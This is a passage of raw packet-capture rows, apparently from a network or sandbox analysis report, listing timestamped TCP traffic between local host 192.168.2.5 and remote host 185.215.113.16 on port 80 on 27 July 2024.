Jul 27, 2024 09:25:14.251259089 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251267910 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251271963 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251277924 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251286983 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251298904 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251308918 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251324892 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251332998 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251342058 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.251343966 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251353979 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251363039 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251370907 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251380920 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251385927 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.251385927 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.251390934 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251399994 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251420021 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251435041 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251445055 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251447916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.251447916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.251455069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251465082 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251475096 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251477957 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.251481056 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251486063 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251494884 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251506090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251559973 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.251559973 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.251586914 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251602888 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251612902 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251624107 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251635075 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251652956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.251684904 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.251684904 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.251763105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251773119 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251877069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251888037 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251895905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251905918 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251914024 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251923084 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251926899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.251934052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251944065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251952887 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.251979113 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.252058983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.252136946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252147913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252208948 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.252254009 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252264977 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252274036 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252284050 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252291918 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252301931 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252305984 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252311945 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.252314091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252325058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252335072 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252343893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252391100 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.252391100 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.252391100 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.252737999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252748013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252757072 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252767086 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252777100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252787113 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252793074 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.252795935 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252806902 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252815962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252820969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252830982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252840042 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252840996 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.252850056 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252859116 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252876043 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252886057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252896070 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252904892 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252913952 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252923012 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252928972 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252929926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.252929926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.252929926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.252938986 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.252995014 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.252995014 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.252995014 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.253313065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253323078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253331900 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253341913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253483057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253494024 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253503084 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253514051 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253523111 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253531933 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253536940 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.253536940 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.253536940 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.253540993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253551006 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253560066 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253570080 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253577948 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253587008 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253598928 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253607988 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253607988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.253607988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.253607988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.253618002 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.253628969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254062891 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.254064083 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.254158974 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254169941 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254179001 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254187107 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254196882 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254206896 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254214048 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254224062 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254232883 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254242897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254250050 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.254250050 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.254250050 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.254261971 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254271030 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254280090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254287958 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254296064 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254306078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254316092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254321098 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.254321098 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.254321098 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.254327059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254338026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254347086 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254353046 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254364967 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254374027 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254384041 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254393101 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254404068 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254412889 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.254412889 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.254412889 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.254415035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254426003 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254435062 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254446030 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.254489899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.254489899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.254489899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.255152941 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255163908 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255172968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255182981 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255202055 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255213022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255222082 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255224943 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.255232096 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255240917 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255250931 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255259037 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255268097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255278111 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255287886 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255296946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255300999 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.255300999 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.255300999 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.255307913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255325079 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255332947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255347013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255350113 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.255357981 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255367994 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255378008 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255388975 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255398989 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255409002 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255419970 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255424976 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.255424976 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.255424976 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.255429983 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.255465984 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.256124020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256134987 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256144047 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256154060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256167889 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256176949 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256186008 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256195068 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256200075 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.256200075 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.256206989 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256215096 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.256216049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256226063 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256236076 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256247044 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256257057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256262064 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.256262064 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.256266117 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256277084 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256287098 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256298065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256305933 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256315947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256325006 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256326914 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.256326914 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.256326914 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.256334066 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256339073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256347895 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256357908 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256362915 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.256369114 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256386042 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256395102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.256406069 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.256417990 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.256477118 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.256477118 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.257101059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257112026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257119894 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257131100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257141113 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257153034 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.257157087 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257165909 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257177114 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257189035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257198095 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257208109 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.257208109 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.257208109 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257217884 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257227898 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257239103 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.257240057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257250071 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257261038 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257270098 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257280111 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257283926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.257283926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.257289886 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257296085 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257304907 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257316113 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257324934 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257337093 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257347107 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257350922 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.257350922 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.257350922 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.257355928 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257396936 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.257396936 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.257863998 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257879019 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257889986 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257900953 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257910013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257920027 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257929087 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.257952929 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.257988930 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.257988930 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.258084059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258094072 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258104086 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258114100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258122921 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258132935 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258142948 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258152962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258162022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258171082 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258181095 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258182049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.258182049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.258182049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.258191109 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258200884 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258210897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258220911 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258230925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258239985 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258246899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.258246899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.258246899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.258250952 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258260965 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258270979 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258311033 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.258311033 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.258311033 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.258496046 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258506060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258514881 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258524895 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258550882 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258558035 CEST	49705	80	192.168.2.5	185.215.113.16
